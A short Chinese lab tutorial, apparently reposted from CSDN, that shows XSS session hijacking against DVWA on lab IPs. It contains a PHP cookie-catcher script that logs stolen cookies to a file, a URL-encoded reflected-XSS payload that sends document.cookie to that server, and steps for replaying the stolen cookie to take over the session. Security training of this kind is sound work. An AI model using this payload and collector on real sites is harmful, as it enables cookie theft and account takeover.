理解xss-劫持会话

xss-劫持会话攻击实验
Step01: 搭建好攻击者的Web服务器(LAMP或LNMP平台,phpstudy)
http://192.168.195.127/cookie.php
验证PHP环境
(1)看端口
Web:80
mysql:3306
php:9000
(2)验证PHP文件能不能正常解析
网站的根目录 c:\phpstudy_pro\www
创建一个test.php文件

<?php phpinfo() ?>

Step02:在攻击者的Web服务器的网站根目录下创建cookie.php

<?php $cookie=$_GET['cookie']; file_put_contents('cookie.txt',$cookie); ?>

//把获取到的用户cookie写入到cookie.txt文件中
//网站主目录对于Web用户来说要有写入的权限
http://192.168.195.127/cookie.php

(3)验证web页面是否有xss漏洞攻击

(4)构造攻击js

//document.location 将页面内容定位到指定位置

(5)构造并发送攻击URL
http://192.168.195.129/dvwa/vulnerabilities/xss_r/?name=
(6)URL编码
http%3a%2f%2f192.168.195.129%2fdvwa%2fvulnerabilities%2fxss_r%2f%3fname%3d%3cscript%3edocument.location%3d’http%3a%2f%2f127.0.0.1%2fcookie.php%3fcookie%3d’%2bdocument.cookie%3b%3c%2fscript%3e
获得cookie
http://127.0.0.1/cookie.txt(有内容了)
劫持会话
(7)在Kali中打开登录dvwa的页面
F12更改cookie(存储位置)
192.168.195.129/dvwa/index.php

猜你喜欢

转载自blog.csdn.net/qq_45320164/article/details/110053558
今日推荐